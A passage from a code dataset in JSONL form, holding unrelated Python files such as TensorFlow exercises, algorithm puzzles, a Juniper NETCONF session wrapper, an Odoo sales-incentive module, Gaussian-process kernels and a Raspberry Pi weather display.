optimizer=tf.train.GradientDescentOptimizer(learning_rate=0.1)\n# train=optimizer.minimize(loss)\n#\n# #prepare session,initialize\n# sess=tf.Session()\n# sess.run(tf.global_variables_initializer()) #variables initialize\n#\n#\n# for step in range(100):\n# sess.run(train)\n# print(step,sess.run(W))\n\n#2 cost_tf_gradient\n\nW=tf.Variable(5.)\nhypothesis=X*W\ngradient=tf.reduce_mean((W*X-Y)*X)*2 #??the gradient\nloss=tf.reduce_mean(tf.square(hypothesis-Y))\n\n#minimize\noptimizer=tf.train.GradientDescentOptimizer(learning_rate=0.01)\ntrain=optimizer.minimize(loss)\n\n#get gradients\ngvs=optimizer.compute_gradients(loss,[W]) #计算loss的梯度,返回的是梯度和变量W的列表\n\napply_gradients=optimizer.apply_gradients(gvs) #apply gvs\n\n#prepare session\nsess=tf.Session()\nsess.run(tf.global_variables_initializer())\n\n\n#fit the line\n\nfor step in range(1000):\n sess.run(train)\n print(step,sess.run([gradient,W,gvs]))\n\n\n\n","sub_path":"t0024_minimize_cost_tf_optimizer.py","file_name":"t0024_minimize_cost_tf_optimizer.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"250363940","text":"\"\"\"\nUsing names.txt (right click and 'Save Link/Target As...'), a 46K text file containing over five-thousand first names, begin by sorting it into alphabetical order. Then working out the alphabetical value for each name, multiply this value by its alphabetical position in the list to obtain a name score.\n\nFor example, when the list is sorted into alphabetical order, COLIN, which is worth 3 + 15 + 12 + 9 + 14 = 53, is the 938th name in the list. So, COLIN would obtain a score of 938 ? 53 = 49714.\n\nWhat is the total of all the name scores in the file?\n\"\"\"\nalphabet = \" ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nalphabet = list(alphabet)\ntotal = 0\n\nwith open('d:\\coding\\Python\\Euler\\p022_names.txt') as f:\n names = f.readline()\nf.close()\n\nnames = names.replace('\\\",\\\"', ' ')\nnames = names.replace('\\\"', '')\nnames = names.split()\nnames = sorted(names)\nnames.insert(0, \" \")\n\nfor x in names:\n number = names.index(x)\n sum = 0\n x = list(x)\n for x in x:\n sum += alphabet.index(x)\n total += sum * number\n\nprint(total)\n","sub_path":"22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"84379925","text":"#_*_ coding: utf8 _*_\nfrom styles.menu_categories_style import MenuCategoryEsthetic as Style\nimport styles.styles_utils as su\nfrom database.categories import Category\n\n\nclass MenuCategory:\n\n def run(self):\n\n while True:\n option = Style().options()\n\n if option['option'] == Style().option_1: # Read/Leer\n Category().read_categories()\n\n elif option['option'] == Style().option_2: # Create/Crear\n new_category = input(Style.new_category)\n Category().create_category(new_category)\n \n Category().read_categories()\n print(\" ↑\")\n\n elif option['option'] == Style().option_3: # Update/Actualizar\n Category().read_categories()\n\n current_category_id = input(Style.current_category_id)\n new_category_name = input(Style.new_category_name)\n Category().update_category(current_category_id, new_category_name)\n\n elif option['option'] == Style().option_4: # Delete/Eliminar\n Category().read_categories()\n\n category_id = input(Style.category_id)\n Category().delete_category(category_id)\n\n elif option['option'] == Style().option_5: # Volver al menu principal\n su.beep(times=2)\n break\n\n su.waiting_user()\n\nif __name__ == '__main__':\n MenuCategory().run()","sub_path":"ProgramaBiblioteca/menu_categories.py","file_name":"menu_categories.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"342543317","text":"# python3\r\n# Given a positive integer num, write a function which returns True if num is a perfect square else False.\r\n\r\n# Note: Do not use any built-in library function such as sqrt.\r\n\r\n# Example 1:\r\n\r\n# Input: 16\r\n# Returns: True\r\n# Example 2:\r\n\r\n# Input: 14\r\n# Returns: False\r\n\r\n\r\n# Use Newton's Method\r\nclass Solution(object):\r\n def isPerfectSquare(self, num):\r\n \"\"\"\r\n :type num: int\r\n :rtype: bool\r\n \"\"\"\r\n i = num\r\n while i*i >= num:\r\n if i*i == num:\r\n return True\r\n i = (i + num/i) / 2\r\n return False\r\n","sub_path":"valid_perfect_square.py","file_name":"valid_perfect_square.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"149764662","text":"import re\nimport logging\nimport pendulum\nfrom django.conf import settings\nfrom jnpr import junos\n\nlogger = logging.getLogger(__name__)\n\n\ndef netconf_exception_handler(default=None):\n def decorator(func):\n def inner_function(*args, **kwargs):\n device = args[0].device\n try:\n return func(*args, **kwargs)\n except junos.exception.RpcError as e:\n logger.warning(f\"{e} (host: {device.ip_address}, pk: {device.pk})\")\n return default\n\n return inner_function\n\n return decorator\n\n\nclass NetconfSession(junos.Device):\n def __init__(self, device):\n self.device = device\n super().__init__(\n host=device.ip_address,\n user=settings.NETCONF_USER,\n passwd=settings.NETCONF_PASSWORD,\n port=settings.NETCONF_PORT,\n normalize=True,\n )\n\n @netconf_exception_handler()\n def get_name(self):\n return self.facts[\"hostname\"]\n\n @netconf_exception_handler()\n def get_model(self):\n return self.facts[\"model\"]\n\n @netconf_exception_handler()\n def get_junos_version(self):\n return self.facts[\"version\"]\n\n @netconf_exception_handler()\n def get_chassis_id(self):\n lldp_local = self.rpc.get_lldp_local_info()\n return lldp_local.findtext(\"lldp-local-chassis-id\")\n\n @netconf_exception_handler()\n def get_interface(self, interface_name):\n interface_info = self.rpc.get_interface_information(interface_name=interface_name)\n interface_speed = interface_info.findtext(\"./physical-interface/speed\")\n interface_number = interface_info.findtext(\"./physical-interface/snmp-index\")\n logical_interfaces = []\n for logical_interface in interface_info.findall(\"./physical-interface/logical-interface\"):\n if logical_interface.findtext(\"./address-family/address-family-name\") == \"inet\":\n logical_interface_name = logical_interface.findtext(\"./name\")\n logical_interface_number = logical_interface.findtext(\"./snmp-index\")\n logical_interface_address = logical_interface.findtext(\"./address-family/interface-address/ifa-local\")\n logical_interfaces.append(\n {\n \"name\": logical_interface_name,\n \"number\": int(logical_interface_number),\n \"address\": logical_interface_address,\n }\n )\n if interface_number:\n return {\n \"name\": interface_name,\n \"number\": int(interface_number),\n \"speed\": self._normalize_speed(interface_speed),\n \"logical_interfaces\": logical_interfaces,\n }\n else:\n logger.error(\n f\"unexpected format of rpc response \" f\"(host: {self.device.ip_address}, pk: {self.device.pk})\"\n )\n\n @netconf_exception_handler(default=set())\n def get_lldp_neighbours(self):\n lldp_neighbours = self.rpc.get_lldp_neighbors_information()\n neighbours = set()\n for neighbour in lldp_neighbours.findall(\"lldp-neighbor-information\"):\n local_interface = neighbour.findtext(\"lldp-local-port-id\")\n if not local_interface:\n local_interface = neighbour.findtext(\"lldp-local-interface\")\n remote_chassis_id = neighbour.findtext(\"lldp-remote-chassis-id\")\n if local_interface and remote_chassis_id:\n neighbours.add((local_interface, remote_chassis_id))\n return neighbours\n\n @netconf_exception_handler(default=[])\n def get_lldp_neighbour_details(self, interface):\n lldp_neighbours = self.rpc.get_lldp_interface_neighbors(interface_device=interface)\n neighbour_details = []\n for neighbour in lldp_neighbours.findall(\"lldp-neighbor-information\"):\n local_interface = neighbour.findtext(\"lldp-local-interface\")\n parent_interface = neighbour.findtext(\"lldp-local-parent-interface-name\")\n remote_chassis_id = neighbour.findtext(\"lldp-remote-chassis-id\")\n remote_interface_id = neighbour.findtext(\"lldp-remote-port-id\")\n remote_interface_id_subtype = neighbour.findtext(\"lldp-remote-port-id-subtype\")\n neighbour_details.append(\n {\n \"local_interface\": local_interface,\n \"parent_interface\": None if parent_interface == \"-\" else parent_interface,\n \"remote_chassis_id\": remote_chassis_id,\n \"remote_interface\": remote_interface_id,\n \"is_remote_interface_id_number\": remote_interface_id_subtype == \"Locally assigned\",\n }\n )\n return neighbour_details\n\n @netconf_exception_handler(default=[])\n def get_chassis_alarms(self):\n alarm_information = self.rpc.get_alarm_information()\n return self._parse_alarms(alarm_information)\n\n @netconf_exception_handler(default=[])\n def get_system_alarms(self):\n alarm_information = self.rpc.get_system_alarm_information()\n return self._parse_alarms(alarm_information)\n\n @netconf_exception_handler(default=[])\n def get_ingress_lsp_rsvp_path(self):\n lsp = self.rpc.get_mpls_lsp_information(detail=True, ingress=True)\n lsp_paths = []\n for path in lsp.findall(\"./rsvp-session-data/rsvp-session/mpls-lsp\"):\n name = path.findtext(\"name\")\n source = path.findtext(\"source-address\")\n destination = path.findtext(\"destination-address\")\n received_rro = path.findtext(\"mpls-lsp-path/received-rro\")\n lsp_paths.append(\n {\n \"name\": name,\n \"source\": source,\n \"destination\": destination,\n \"received_rro\": received_rro,\n }\n )\n return lsp_paths\n\n @netconf_exception_handler(default=[])\n def get_ldp_traceroute_paths(self, destination_address):\n ldp = self.rpc.traceroute_mpls_ldp(fec=destination_address)\n ldp_paths = []\n current_path = []\n for path in ldp.findall(\"./tracelsp-node\"):\n address = path.findtext(\"address\")\n current_path.append(address)\n if path.find(\"output\") is not None:\n index = path.findtext(\"path-index\")\n interface = path.findtext(\"interface\")\n ldp_paths.append(\n {\n \"index\": index,\n \"interface\": interface,\n \"path\": current_path,\n }\n )\n current_path = []\n return ldp_paths\n\n @netconf_exception_handler(default=[])\n def get_traceroute(self, destination_address):\n route = []\n traceroute_details = self.rpc.traceroute(host=destination_address)\n if traceroute_details.find(\"traceroute-success\") is not None:\n for hop in traceroute_details.findall(\"./hop\"):\n address = hop.findtext(\"last-ip-address\")\n route.append(address)\n return route\n\n def _parse_alarms(self, alarm_information):\n alarms = []\n for alarm in alarm_information.findall(\"alarm-detail\"):\n time = alarm.findtext(\"alarm-time\").replace(\" CEST\", \" Etc/GMT-2\")\n alarm_class = alarm.findtext(\"alarm-class\")\n description = alarm.findtext(\"alarm-description\")\n try:\n alarms.append(\n {\n \"time\": pendulum.from_format(time, \"YYYY-MM-DD HH:mm:ss z\"),\n \"alarm_class\": alarm_class,\n \"description\": description,\n }\n )\n except ValueError:\n logger.error(\n f\"unexpected format of time: {time}\" f\"(host: {self.device.ip_address}, pk: {self.device.pk})\"\n )\n return alarms\n\n def _normalize_speed(self, speed):\n if not speed or speed == \"Unspecified\" or speed == \"Unlimited\":\n return 0\n r = re.compile(\"([0-9]+)([a-zA-Z]+)\")\n split = r.match(speed)\n if not split:\n logger.error(\n f\"unexpected format of speed: {speed}\" f\"(host: {self.device.ip_address}, pk: {self.device.pk})\"\n )\n return 0\n speed_value = int(split.group(1))\n speed_unit = split.group(2)\n if speed_unit == \"mbps\":\n return speed_value / 1000\n elif speed_unit == \"Gbps\":\n return speed_value\n","sub_path":"router-map/data/collector/netconf_session.py","file_name":"netconf_session.py","file_ext":"py","file_size_in_byte":8664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"329552322","text":"from argparse import ArgumentParser\n\n\ndef get_option(question=\"長所\", wordsLength=300):\n argparser = ArgumentParser()\n argparser.add_argument('-q', '--question', type=str,\n default=question,\n help='Specify keyword of question')\n argparser.add_argument('-l', '--length', type=int,\n default=wordsLength,\n help='Specify length of output words')\n return argparser.parse_args()","sub_path":"src/Luhn/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"389860173","text":"import csv\n\ndef method1():\n with open('data.csv') as file:\n reader = csv.reader(file, delimiter=',')\n\n for row in reader:\n print(row)\n\ndef method2():\n with open('data.csv') as file:\n # For DictReader to work the header column should be available in the file\n reader = csv.DictReader(file, delimiter=',')\n\n for row in reader:\n print(row['country'])\n\nmethod2()\n","sub_path":"12_Python_CSV_Read_Write/read_csv.py","file_name":"read_csv.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"361983043","text":"# Hot seat \"game\" of rock-paper-scissors.\n\nplay_again = True\n\nwhile(play_again is True):\n p1_input = input(\"Player 1, please input rock, paper or scissors: \")\n p2_input = input(\"Player 2, please input rock, paper or scissors: \")\n\n if p1_input == \"rock\" and p2_input == \"scissors\" or p1_input == \"scissors\" and p2_input == \"paper\" or p1_input == \"paper\" and p2_input == \"rock\":\n winner = \"Player 1\"\n elif p2_input == \"rock\" and p1_input == \"scissors\" or p2_input == \"scissors\" and p1_input == \"paper\" or p2_input == \"paper\" and p1_input == \"rock\":\n winner = \"Player 2\"\n elif p1_input == \"rock\" and p2_input == \"rock\" or p1_input == \"scissors\" and p2_input == \"scissors\" or p1_input == \"paper\" and p2_input == \"paper\":\n winner = \"Nobody\"\n\n print(\"The winner is \" + winner + \".\")\n\n\n play_again = input(\"Do you wish to play again y/n?\")\n\n\n if play_again is \"y\":\n play_again = True\n elif play_again is \"n\":\n break","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"81962982","text":"# https://www.interviewbit.com/problems/stocks2/\n\nclass Solution:\n # @param A : tuple of integers\n # @return an integer\n # [10, 7, 5, 8, 11, 9] \n def maxProfit(self, stock_prices):\n \n if not stock_prices:\n return 0\n \n sum_ = 0\n prev_price = stock_prices[0]\n for price in stock_prices[1:]:\n \n sum_ += max(0, price - prev_price)\n prev_price = price\n \n return sum_\n","sub_path":"interviewbit.com/Dynamic Programming/best_time_to_buy_and_sell_stocks_II.py","file_name":"best_time_to_buy_and_sell_stocks_II.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"575736597","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: Maziar Raissi\n\"\"\"\n\nimport autograd.numpy as np\nimport matplotlib.pyplot as plt\nfrom RecurrentNeuralNetworks import RecurrentNeuralNetworks\nfrom Utilities import create_dataset\n\nnp.random.seed(1234)\n \nif __name__ == \"__main__\":\n \n # generate the dataset\n def f(x):\n return np.sin(np.pi*x)\n \n dataset = f(np.arange(0,10,0.1)[:,None])\n \n # Training Data\n train_size = int(len(dataset) * (2/3))\n train = dataset[0:train_size,:]\n \n # reshape X and Y\n # X has the form lags x data x dim\n # Y has the form data x dim\n lags = 5\n X, Y = create_dataset(train, lags)\n \n # Model creation\n hidden_dim = 4\n model = RecurrentNeuralNetworks(X, Y, hidden_dim, \n max_iter = 10000, N_batch = 1, \n monitor_likelihood = 10, lrate = 1e-3) \n \n model.train()\n \n # Prediction\n pred = np.zeros((len(dataset)-lags, Y.shape[-1]))\n X_tmp = np.copy(X[:,0:1,:])\n for i in range(0, len(dataset)-lags):\n pred[i] = model.forward_pass(X_tmp, model.hyp)\n X_tmp[:-1,:,:] = X_tmp[1:,:,:] \n X_tmp[-1,:,:] = pred[i]\n \n plt.figure(1)\n plt.rcParams.update({'font.size': 14})\n plt.plot(dataset[lags:], 'b-', linewidth = 2, label = \"Exact\")\n plt.plot(pred, 'r--', linewidth = 3, label = \"Prediction\")\n plt.plot(X.shape[1]*np.ones((2,1)), np.linspace(-1.75,1.75,2), 'k--', linewidth=2)\n plt.axis('tight')\n plt.xlabel('$t$')\n plt.ylabel('$y_t$')\n plt.legend(loc='lower left')\n \n plt.savefig('Example_RNN.eps', format='eps', dpi=1000)","sub_path":"RecurrentNeuralNetworks/Example.py","file_name":"Example.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"9844496","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\nfrom odoo.exceptions import UserError\n\n\nclass ArkcoSalesIncentive(models.Model):\n _name = 'sales.incentive'\n\n name = fields.Char(string='Name')\n @api.model\n def _get_default_team(self):\n return self.env['crm.team']._get_default_team_id()\n\n team_id = fields.Many2one('crm.team', 'Sales Team', change_default=True, default=_get_default_team)\n target_group_id = fields.Many2one('target.group', 'Target Group', change_default=True)\n incentive_amount = fields.Float(string='Incentive Amount', compute=\"_get_incentive_amount\", store=True)\n\n state = fields.Selection([\n ('draft', 'Draft'),\n ('pending', 'Pending'),\n ('accepted', 'Accepted'),\n ('rejected', 'Rejected'),\n ], string='Status', readonly=True, index=True, copy=False, default='draft', track_visibility='onchange')\n status_target = fields.Char(string='Status Target', compute=\"_get_incentive_amount\")\n incentive_line = fields.One2many('sales.incentive.line', 'incentive_id', copy=True)\n\n @api.multi\n def action_button_confirm(self):\n for rec in self:\n \t rec.write({'state': 'pending'})\n\n @api.multi\n def action_button_cancel(self):\n for rec in self:\n rec.write({'state': 'cancel'})\n\n @api.onchange('team_id')\n def get_sales_executive(self):\n if self.team_id:\n # import pdb; pdb.set_trace()\n r = []\n for person in self.team_id.member_ids:\n r.append({'user_id':person.id})\n self.update({'incentive_line':r})\n\n\n @api.multi\n @api.depends('team_id', 'target_group_id','incentive_line.incentive')\n def _get_incentive_amount(self):\n for rec in self:\n if rec.team_id:\n # import pdb; pdb.set_trace()\n total_sale = 0\n sale_ids = self.env['sale.order'].search([('team_id','=',rec.team_id.id),('state','=','sale')])\n\n for sale in sale_ids:\n total_sale += sale.amount_untaxed\n price_list = []\n\n for line in rec.target_group_id.target_lines:\n price_list.append(line.max_target)\n price_list.append(line.min_target)\n\n if price_list:\n for line in rec.target_group_id.target_lines:\n if (total_sale<=line.max_target) and (total_sale>=line.min_target):\n rec.incentive_amount = line.amount\n elif (total_sale>max(price_list)) and (max(price_list)==line.max_target):\n rec.incentive_amount = line.amount\n if total_sale < min(price_list):\n rec.status_target = 'Not Achieved'\n else:\n rec.status_target = 'Achieved'\n for line in rec.incentive_line:\n if (line.incentive>0) and (line.incentive <= rec.incentive_amount):\n rec.incentive_amount -= line.incentive\n\n # if rec.incentive_line.incentive > 0:\n # import pdb; pdb.set_trace()\n # incentive = rec.incentive_line.incentive\n # if rec.incentive_amount > incentive:\n # rec.incentive_amount -= rec.incentive_amount - incentive\n\n\n\nclass ArkcoSalesIncentiveLine(models.Model):\n _name = 'sales.incentive.line'\n \n incentive_id = fields.Many2one('sales.incentive', string='Incentive Reference', \n ondelete='cascade', index=True, copy=False)\n line_team_id = fields.Integer('Sales Team', index=True, related=\"incentive_id.team_id.id\")\n line_status_target = fields.Char('Status Target', index=True, related=\"incentive_id.status_target\")\n user_id = fields.Many2one('res.users', string='Sales Executive', index=True, \n track_visibility='onchange') \n total_sales = fields.Float(string='Total Sales', compute=\"_get_total_sale\", store=True)\n incentive = fields.Float(string='Incentive')\n\n @api.multi\n @api.depends('user_id')\n def _get_total_sale(self):\n for line in self:\n sale_order = self.env['sale.order'].search([('user_id','=',line.user_id.id),('state', '=', 'sale')])\n total_sale_amt = 0.0\n for order in sale_order:\n total_sale_amt += order.amount_untaxed\n line.total_sales = total_sale_amt\n\n @api.multi\n @api.onchange('incentive')\n def check_incentive_amount(self):\n for rec in self:\n if rec.incentive > 0:\n # import pdb; pdb.set_trace()\n total_incentive_amt = rec.incentive_id.incentive_amount\n if rec.incentive > total_incentive_amt:\n record = rec\n raise UserError(\n _(\"Applied incentive %s has been reached its Total Incentive Amount %s.\" %(\n record.incentive, record.incentive_id.incentive_amount)))\n # else:\n # if (rec.incentive > 0) and (total_incentive_amt >= rec.incentive):\n # total_incentive_amt = total_incentive_amt - rec.incentive\n # rec.incentive_id.update({'incentive_amount': total_incentive_amt})\n\n @api.model\n def create(self, vals):\n res = super(ArkcoSalesIncentiveLine, self).create(vals)\n for rec in res:\n if rec.incentive > 0:\n # import pdb; pdb.set_trace()\n total_incentive_amt = rec.incentive_id.incentive_amount\n if rec.incentive > total_incentive_amt:\n raise UserError(\n _(\"Applied incentive %s has been reached its Total Incentive Amount %s.\" %(\n rec.incentive, rec.incentive_id.incentive_amount)))\n else:\n if (rec.incentive > 0) and (total_incentive_amt >= rec.incentive):\n total_incentive_amt = total_incentive_amt - rec.incentive\n rec.incentive_id.incentive_amount = total_incentive_amt\n return res\n\n\n @api.multi\n def write(self, values):\n res = super(ArkcoSalesIncentiveLine, self).write(values)\n for rec in self:\n if 'incentive' in values and (rec.incentive > 0):\n total_incentive_amt = rec.incentive_id.incentive_amount\n if rec.incentive > total_incentive_amt:\n raise UserError(\n _(\"Applied incentive %s has been reached its Total Incentive Amount %s.\" %(\n rec.incentive, rec.incentive_id.incentive_amount)))\n else:\n if (rec.incentive > 0) and (total_incentive_amt >= rec.incentive):\n total_incentive_amt = total_incentive_amt - rec.incentive\n rec.incentive_id.incentive_amount = total_incentive_amt\n return res\n","sub_path":"beta-dev1/arkco_modifier_sales_incentive/models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"94020024","text":"from __future__ import annotations \nimport collections \nimport random \nimport heapq \nimport math\nimport bisect\n\n\nclass Solution:\n def minimumCost(self, N: int, conections: List[List[int]]) -> int:\n # greedy \n if len(conections) < N - 1:\n return -1\n if N == 1:\n return 0\n\n res = 0\n pq = []\n for (p1, p2, cost) in conections:\n heapq.heappush(pq, (cost, p1, p2))\n\n avail = set(range(1, N+1))\n\n n = N\n roots = [i for i in range(N)]\n\n # while avail:\n while n != 1:\n if len(pq) == 0:\n # cant reach \n return -1\n cost, p1, p2 = heapq.heappop(pq)\n # if p1 in avail or p2 in avail:\n # # print(cost)\n \n # if p1 in avail:\n # avail.remove(p1)\n # if p2 in avail:\n # avail.remove(p2)\n\n x = find(roots, p1-1)\n y = find(roots, p2-1)\n if x != y:\n roots[x] = y # union \n res += cost\n n -= 1\n # print(x, y, roots)\n\n # print(avail)\n\n # # check \n # n = N\n # roots = [i for i in range(N)]\n # for p1, p2, _ in conections:\n # x = find(roots, p1-1)\n # y = find(roots, p2-1)\n # if x != y:\n # roots[x] = y # union \n # n -= 1\n # print(x, y, roots)\n # if n > 1:\n # return -1\n\n return res \n\n\ndef find(roots, id):\n while roots[id] != id:\n roots[id] = roots[roots[id]]\n id = roots[id]\n return id\n\n\n\ns = Solution()\n\nN = 3\nconections = [[1,2,5],[1,3,6],[2,3,1]]\nprint(s.minimumCost(N, conections))\n\nN = 4\nconections = [[1,2,3],[3,4,4]]\nprint(s.minimumCost(N, conections))\n\nN = 5\nconections = [[1,2,3],[3,4,4], [4,5,4], [3,5,4]]\nprint(s.minimumCost(N, conections))\n\nN = 1\nconections = []\nprint(s.minimumCost(N, conections))\n\n\nN = 7\nconections = [[2,1,87129],[3,1,14707],[4,2,34505],[5,1,71766],[6,5,2615],[7,2,37352]]\nprint(s.minimumCost(N, conections))\n\n# 24xxxx\n","sub_path":"M_5036_minimumCost.py","file_name":"M_5036_minimumCost.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"257832081","text":"\nimport torch\nimport torch.nn as nn\nimport numpy as np\n\ntorch.set_default_tensor_type(torch.FloatTensor)\ntorch.set_default_dtype(torch.float32)\n\n\n\nclass Kernel(nn.Module):\n def __init__(self):\n super(Kernel, self).__init__()\n\n def check_tensortype(self, x1, x2=None):\n if torch.is_tensor(x1) == False:\n x1 = TensorType(x1)\n if x2 is None:\n return x1, x1\n else:\n if torch.is_tensor(x2) == False:\n x2 = TensorType(x2)\n return x1, x2\n\n\n def K(self, x1, x2 = None):\n return NotImplementedError\n\n def K_diag(self, x1, x2=None):\n return torch.diag(self.K(x1, x2))\n\n\n\n\nclass StationaryKernel(Kernel):\n def __init__(self, device ):\n super(StationaryKernel, self).__init__()\n self.kernel_name = None\n self.ARD = False\n self.input_dim = None\n self.device = torch.device(\"cuda\") if device else torch.device('cpu')\n\n\n def _sq_dist(self,x1,x2 = None):\n x1,x2 = self.check_tensortype(x1,x2)\n\n x1_ = x1.pow(2).sum(-1,keepdim = True)\n x2_ = x2.pow(2).sum(-1,keepdim = True)\n\n #sq_dist = x1.matmul(x2.transpose(-2,-1)).mul_(-2).add_(x2_.transpose(-2,-1)).add_(x1_)\n sq_dist = -2*x1.matmul(x2.transpose(-2, -1)) + (x1_ + x2_.transpose(-2, -1))\n sq_dist.clamp_min(1e-16)\n\n return sq_dist\n\n\n\n def K(self, x1, x2 = None):\n return NotImplementedError\n\n\n def K_diag(self, x1, x2=None):\n return torch.diag(self.K(x1, x2))\n\n\n\nclass Sum_kernel(StationaryKernel):\n\n def __init__(self, kernel_list, device):\n super(Sum_kernel, self).__init__(device)\n self.kernel_name = 'SUM'\n self.kernel_list = kernel_list\n self._set_paramlist()\n\n def _set_paramlist(self):\n param_list = []\n for ith_kernel in self.kernel_list:\n for ith_param in ith_kernel.parameters():\n if ith_param.requires_grad:\n param_list.append(ith_param)\n self.param_list = param_list\n return\n\n\n def K(self, x1, x2=None):\n out = 0\n for ith_kernel in self.kernel_list:\n out += ith_kernel.K(x1, x2)\n return out\n\n\n\nclass Product_kernel(StationaryKernel):\n def __init__(self, kernel_list, device):\n super(Product_kernel, self).__init__(device)\n self.kernel_list = kernel_list\n self._set_paramlist()\n\n def _set_paramlist(self):\n param_list = []\n for ith_kernel in self.kernel_list:\n for ith_param in ith_kernel.parameters():\n if ith_param.requires_grad:\n param_list.append(ith_param)\n self.param_list = param_list\n return\n\n def K(self, x1, x2=None):\n out = 1\n for ith_kernel in self.kernel_list:\n out *= ith_kernel.K(x1, x2)\n return out\n","sub_path":"kernels/.ipynb_checkpoints/kernel-checkpoint.py","file_name":"kernel-checkpoint.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"465970064","text":"import sys\n#\n# >>> Escriba el codigo del mapper a partir de este punto <<<\n#\ncurrentk = None\nvsum = 0\nvcount= 0\n\nfor line in sys.stdin:\n line = line.strip()\n k, v = line.split(\"\\t\")\n v = int(v)\n if k == currentk:\n vsum += v\n vcount += 1\n else:\n if currentk is not None:\n print(currentk + \"\\t\" + str(float(vsum)) + \"\\t\" + str(vsum/vcount))\n currentk = k\n vsum = v\n vcount = 1\n \nprint(currentk + \"\\t\" + str(float(vsum)) + \"\\t\" + str(vsum/vcount))","sub_path":"01-hadoop-50/q08-10/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"485198875","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# BEGIN LICENSE\n# Copyright (c) 2014 Jim Kemp \n# Copyright (c) 2017 Gene Liverman \n\n# Permission is hereby granted, free of charge, to any person\n# obtaining a copy of this software and associated documentation\n# files (the \"Software\"), to deal in the Software without\n# restriction, including without limitation the rights to use,\n# copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following\n# conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n# OTHER DEALINGS IN THE SOFTWARE.\n# END LICENSE\n\n\"\"\" Fetches weather reports from Dark Sky for displaying on a screen. \"\"\"\n\n__version__ = \"0.0.12\"\n\n###############################################################################\n# Raspberry Pi Weather Display\n# Original By: Jim Kemp 10/25/2014\n# Modified By: Gene Liverman 12/30/2017 & multiple times since\n###############################################################################\n\n# local imports\nfrom weather import *\n\n\nclass Daily(Weather):\n def get_daily(self, last_update_time):\n new_last_update_time = self.get_forecast(last_update_time)\n return new_last_update_time\n\n def disp_daily(self, last_update_time):\n # Fill the screen with black\n self.screen.fill((0, 0, 0))\n xmin = 10\n lines = 5\n line_color = (255, 255, 255)\n text_color = (255, 255, 255)\n font_name = \"freesans\"\n\n self.draw_screen_border(line_color, xmin, lines)\n self.disp_time_date(font_name, text_color)\n self.disp_current_temp(font_name, text_color)\n self.disp_summary()\n self.display_conditions_line(\n 'Feels Like:', int(round(self.weather.apparentTemperature)),\n True)\n\n try:\n wind_bearing = self.weather.windBearing\n wind_direction = deg_to_compass(wind_bearing) + ' @ '\n except AttributeError:\n wind_direction = ''\n wind_txt = wind_direction + str(\n int(round(self.weather.windSpeed))) + \\\n ' ' + get_windspeed_abbreviation()\n self.display_conditions_line(\n 'Wind:', wind_txt, False, 1)\n\n self.display_conditions_line(\n 'Humidity:', str(int(round((self.weather.humidity * 100)))) + '%',\n False, 2)\n\n # Skipping multiplier 3 (line 4)\n\n if self.take_umbrella:\n umbrella_txt = 'Grab your umbrella!'\n else:\n umbrella_txt = 'No umbrella needed today.'\n self.disp_umbrella_info(umbrella_txt)\n\n # Today\n today = self.weather.daily[0]\n today_string = \"Today\"\n multiplier = 1\n self.display_subwindow(today, today_string, multiplier)\n\n # counts from 0 to 2\n for future_day in range(3):\n this_day = self.weather.daily[future_day + 1]\n this_day_no = datetime.datetime.fromtimestamp(this_day.time)\n this_day_string = this_day_no.strftime(\"%A\")\n multiplier += 2\n self.display_subwindow(this_day, this_day_string, multiplier)\n\n # Update the display\n 